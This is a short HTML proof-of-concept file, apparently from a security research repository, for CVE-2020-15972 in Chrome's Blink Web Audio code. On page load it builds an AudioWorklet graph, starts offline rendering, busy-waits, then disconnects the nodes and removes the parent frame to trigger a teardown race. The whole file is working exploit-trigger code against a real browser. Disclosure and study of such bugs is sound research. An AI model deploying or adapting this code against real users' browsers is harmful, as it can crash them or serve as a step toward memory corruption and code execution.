SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2.html (46 lines of code) (raw):
<!DOCTYPE html>
<html>
<head>
<script>
const inputs = 2;
function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}
async function playSourceNode(audioContext) {
let soundSources = [];
let soundSource1 = audioContext.createConstantSource();
soundSources.push(soundSource1);
await audioContext.audioWorklet.addModule('tear-down.js');
let worklet;
worklet = new AudioWorkletNode(audioContext, 'tear-down');
let merger = audioContext.createChannelMerger(32);
soundSources.push(audioContext.createConstantSource());
soundSource1.connect(worklet).connect(merger, 0, 0);
soundSources[1].connect(merger, 0, 1);
merger.connect(audioContext.destination);
for (let i = 0; i < inputs; i++) {
soundSources[i].start();
}
return [soundSources, worklet];
}
function onLoad() {
let audioCtx = new OfflineAudioContext(2,44100, 44100);
playSourceNode(audioCtx).then((src)=>{
for (let i = 0; i < 100; i++) {
audioCtx.createConstantSource().start();
}
audioCtx.startRendering();
sleep(200);
src[1].disconnect();
for (let i = 0; i < src[0].length; i++) {
src[0][i].disconnect();
}
parent.remove();
});
}
</script>
</head>
<body onload="onLoad()"/>
</html>